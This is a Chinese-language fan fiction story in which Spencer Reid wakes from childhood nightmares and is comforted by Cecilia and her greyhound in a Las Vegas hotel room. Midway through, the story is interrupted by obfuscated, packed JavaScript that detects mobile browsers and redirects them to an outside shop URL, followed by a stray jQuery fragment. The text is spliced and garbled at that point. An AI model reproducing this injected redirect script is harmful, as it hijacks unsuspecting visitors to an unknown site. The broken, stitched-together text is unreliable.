夜色沉在酒店客房厚重的遮光帘后面，空调低低嗡鸣。Reid 睡得并不安稳，细密的冷汗已经浸透了枕侧的发丝，眉头死死绞在一起，长长的睫毛不住震颤，呼吸变得短促、细碎，像被什么无形的东西扼住喉咙。
梦境把他拽回拉斯维加斯那栋老旧住宅，他缩成年幼的模样，身形瘦小，手里还攥着一本没读完的《量子力学原理》。屋里光线昏黄，空气漂浮旧纸张与尘土的味道，客厅的灯明明亮着，家里却到处都是寂静。
父亲的鞋消失在玄关，门合上那一声轻响，在梦里被无限放大，沉重得像一记重锤。他想开口叫住那个背影，喉咙却发不出半点声音，无论怎么用力，都只能吐出细碎、无声的气音。他追过去，指尖只能擦过冰冷门板，门外的脚步声一点点远去，再也没有回来。
他转过身，屋内只剩下母亲。
Diana 坐在沙发上，眼神涣散飘忽，对着空无一人的角落轻声说话，喃喃的语句破碎凌乱，她看不见站在不远处小小的他。
少年的他站在原地，手足无措。他知道自己该去安抚妈妈，可小小的身躯被钉在地板上，耳边是幻觉交织的低语，墙壁仿佛都在渗出细碎的杂音，那些不属于这间屋子的声音，盘旋在天花板四周。
他一遍一遍尝试呼喊母亲的名字，她始终没有望向他一眼。
场景骤然扭曲。
下一秒他站在黄昏的操场，刺骨晚风卷着少年们的哄笑，尖锐刺耳，铺天盖地朝他砸过来，绳索勒住他的手腕，冰冷金属球门柱硌着他的后背，衣物被粗暴扯落。
周围全是模糊晃动的人影，一张张脸嬉笑嘲弄，他拼命蜷缩身体，想遮住自己，羞耻与恐惧烧得他浑身发烫。所有人陆续散去，操场只剩暮色，只剩他一个人被捆在原地，孤零零等待黑夜降临。
等他终于挣脱，踉跄着跑回家，推开门，母亲依旧沉浸在自己的幻觉世界，甚至没有察觉他浑身狼狈、深夜才归。
梦境又往下坠。
地下室潮湿阴冷，霉味浓重。昏暗光线里，他隐约看见一个小男孩蜷缩在阴影深处，微弱的气息一点点消散。他想要冲过去，双脚却像浇筑在地面，寸步难行。他能听见自己胸腔里疯狂擂动的心跳，他伸出手，却怎么也够不到那个孩子。无论他如何挣扎，如何在心底呐喊，都什么也做不了，只能眼睁睁看着黑暗把对方吞没。
火光在视野边缘跳动，他看见父亲背对着他，在院子里焚烧衣物，布料在火焰里卷曲碳化，淡淡的焦糊气味漫开。
他站在走廊阴影，小小的，无人看见，目睹这个不该被孩子看见的秘密。他想发问，巨大的惶恐死死堵住他的喉咙。
所有记忆碎片搅成一团，愧疚、迷惑、被抛弃的委屈，混杂在一起沉沉压向他。
“不要…… 别离开。”
沉睡中的 Reid 喃喃吐出破碎模糊的低语，肩膀不受控制地轻轻颤抖，指节死死攥紧被单，指腹泛白。梦里无数声音在耳边盘旋，母亲的呓语，同学的哄笑，关门的闷响，还有那个无法救下的男孩无声的质问。
他想逃，可梦境牢牢困住他，一遍一遍重放那些他拼命想要遗忘的过去。
胸腔的震颤迟迟无法平息，冷汗浸透的后背抵在微凉的酒店床头，眼前还残留着梦境里层层叠叠的黑暗。那些被抛弃、被孤立、无能为力的绝望，像冰冷的潮水，依旧死死裹着他的四肢，让他连呼吸都带着细碎的颤音。
他还没从厚重的梦魇里抽离，指尖依旧僵硬地攥着皱成一团的被单，整个人陷在极致的疲惫与惶恐之中。就在这时，一抹温热、湿漉漉的触感轻轻落在了他的手背上。
猛然之间，他猛地惊醒。
Reid弹坐起来，大口大口喘息，胸口剧烈起伏，额角的冷汗顺着下颌滑落，凌乱的深棕发丝黏在皮肤上。梦境残留的寒意还牢牢裹住他，四肢发软。他抬手，颤抖的指尖抚过自己的喉咙，仿佛依旧能感受到梦里那种窒息感。
昏暗的客房光影里，一条清瘦的黑影站在他的窗边，柔和的月光透过窗帘缝隙落下来，浅浅勾勒出它柔软的皮毛，一双湿漉漉的黑瞳安静又温顺，正一瞬不瞬地望着惊魂未定的他。
见他终于有了动静，狗狗微微歪头，又试探着往前凑了凑，温热的鼻尖轻轻蹭过他的掌心，随后软软的舌头再次轻柔扫过他的指尖，动作温柔得像是在安抚一个受惊的小孩。
Reid愣了一下，几乎怀疑自己还被困在梦里，这里怎么会有一条狗。
他依旧呼吸微促，心口残留的钝痛还未消散，眼底的惊惶也没有完全褪去，但那股窒息般的绝望，正在被掌心这片温热的触感一点点融化。他迟疑地抬起颤抖的手，小心翼翼地、轻轻覆在狗狗柔软的头顶。
绒毛下温热的体温清晰传来，鲜活、安稳、真实。
下一秒，那只狗触发了“Reid效应”，朝他汪了一声。
“米开朗基罗！”一声喝止的意大利语从门边传来，紧接着是脚步声。
那个声音让Reid的心脏漏跳了一拍。
“……Cecilia？”他的声音哑得不像自己，“你怎么……”
“Morgan告诉我你们住这家酒店。”穿着浴袍头发还湿漉漉的Cecilia走进来，那只狗立刻欢快地跑向她，尾巴摇得像是螺旋桨，然后兴奋地站了起来两只脚搭到了她的腰上：“但是这家酒店没有房间了，我本来打算在你套房的沙发上凑合一晚，但我刚去洗澡，没注意到米开朗基罗，他跑进来把你吵醒了。”
这只叫米开朗基罗的狗简直灵活得像是会飞，它又转身如同小孩子跳上蹦床一样飞扑到了Reid的床上，然后舔了一下Reid的脸，在他反应过来之前心满意足地趴在Reid的被子上，把下巴搁在他腿上。
Reid低头看着那条狗，再抬头看着Cecilia，大脑还在艰难地处理信息，“现在几点？”
“四点半。”
“你怎么进——”
“Morgan有你房间的钥匙，”Cecilia轻描淡写地说，“他顶着黑眼圈和熬红的双眼在楼下玩了一晚上了轮盘赌，专门等着我然后给了我钥匙，当然他先看到了米开朗基罗，对我说的第一句话是‘wow，这家伙体脂率比我还低’。”
Reid张了张嘴，想说这不符合安全规范，想说前台应该先打电话确认，想说你在拉斯维加斯有不少于三处产业供你今晚居住，想说你知道现在半夜四点半出现在一个男性的酒店房间可能会引起怎样的误会，但他说不出口。
因为Cecilia看着他，那双眼睛在酒店昏暗的灯光下比米开朗基罗的还要温柔。
“做噩梦了？”她问。
Reid抿了抿嘴，他的手指还在微微发抖，但他把那只手塞进了被子里，“没事……”
Cecilia没有追问，她拉过床尾的椅子坐下来，“我本来今天从意大利回到弗吉尼亚，但是米开朗基罗今天特别不安分，在家来回转圈对着门叫，吵得Paige睡不着，于是她把我们打包丢出了家门，所以我就带他过来了。”
Reid的嘴角动了一下，他觉得Cecilia一定是熬了一整晚的夜人已经有些糊涂了，她的意思是这条素未谋面的狗想他了，所以坐着红眼航班拉着主人飞驰到了拉斯维加斯。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813366|210069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>Reid低头看着腿上的意大利灵缇犬，这位过分自来熟的文艺复兴巨匠已经闭上了眼睛，呼吸均匀，尾巴尖偶尔动一下，像是在梦里追什么东西，他把手放下去，轻轻抚过小狗的脊背。
它的毛很软，摸起来像是顺滑的真丝。
“你是因为我没给你写信所以赶来了吗？你提前结束了你的假期，抱歉我这几天太忙了没来得及。”Reid说，声音很低，他几乎可以闻到Cecilia洗发水的香味。
Cecilia点了点头：“对啊，我以为你和之前那个案子学了PUA大师课，第一步，断连。”
“不是这样的。”
Cecilia又笑了，“好啦，我只是来提供经验帮助的，毕竟我七岁被生父绑架23岁差点被他炸死，你挑战父亲的方式是是不断获得博士学位，我则是选择永远不走上他预设的道路试图加入FBI把他绳之以法，所以我算是你的前辈。”
Reid：“我……他……我只是想找到事情的真相。”
“那就让我们来看看真相究竟如何。”
她坐在那把椅子上，整个人看起来有点呆，她说，“你可以再睡一会儿。”
“那你怎么办？”
“我先把头发吹干。”
“然后呢？”
“然后？”黑暗中他看不清Cecilia的眼神，但他听出了她语气里隐约的笑意。
他想说，你到床/上来睡吧。
这句话在他脑子里转了三圈。他在脑子里演练了一下：嘴唇张开，发出“你”的音节，然后“到床上来”……不行，听起来像在约她上/床。不对，重点不是这个，她舟车劳顿了一整天他至少应该提供一张……
“这床可容纳不下我们三个人，米开朗基罗领地意识很强。”Cecilia嘴角微微弯了一下，黑暗里她的眼睛有一种带着一种懒洋洋的、狡黠的柔软。
Reid沉默了两秒：“我的意思是，你到床上来睡，我去睡沙发。”
“哦，我误会了，我还以为你邀请我和你睡一张床。”
“Cecilia！”Reid浑身一僵，他的耳朵已经完全红了，像是心底最隐秘的小心思被人当众戳穿，耳尖瞬间泛起通透的薄红，飞快蔓延至脖颈。
她那种表情是Reid再熟悉不过的，眉毛微微挑起，嘴角带着一点压不住的弧度，像一只发现了老鼠踪迹的猫。
“我……”他仓促开口，声音比方才更哑，语速凌乱，想要辩解，却又不知从何说起，反倒显得欲盖弥彰。
“你快睡吧，我还是喜欢那张沙发。”
“为什么？”
“因为米开朗基罗睡觉打呼噜。”
Reid低头看了一眼床上的灵缇，它已经很自觉地挑了一个自己喜欢的睡姿，四仰八叉地摊在那里，肚皮起伏着，确实发出一种类似小型摩托车引擎的震动声。
“……它刚才没打。”
“它刚才忍住了，”Cecilia严肃地说，“因为它想睡在床上。”
Reid张了张嘴，想说米开朗基罗只是一条狗它不会假装，但他低头看了一眼它，这条狗正好在梦里蹬了一下腿，嘴里发出一声模糊的、像是“呼噜噜噜”的哼哼。
他决定不反驳。
“好了我要去吹头发了。别再和我争了Spencer，我在飞机上休息的很好，我知道你有洁癖，我一进门就给米开朗基罗好好擦过了，而且沙发他也上过了。”Cecilia起身朝外走去。
关门之前，她轻声说：“好梦。”
Reid抬手摸了一下小狗的脑袋：“有它在，会的。”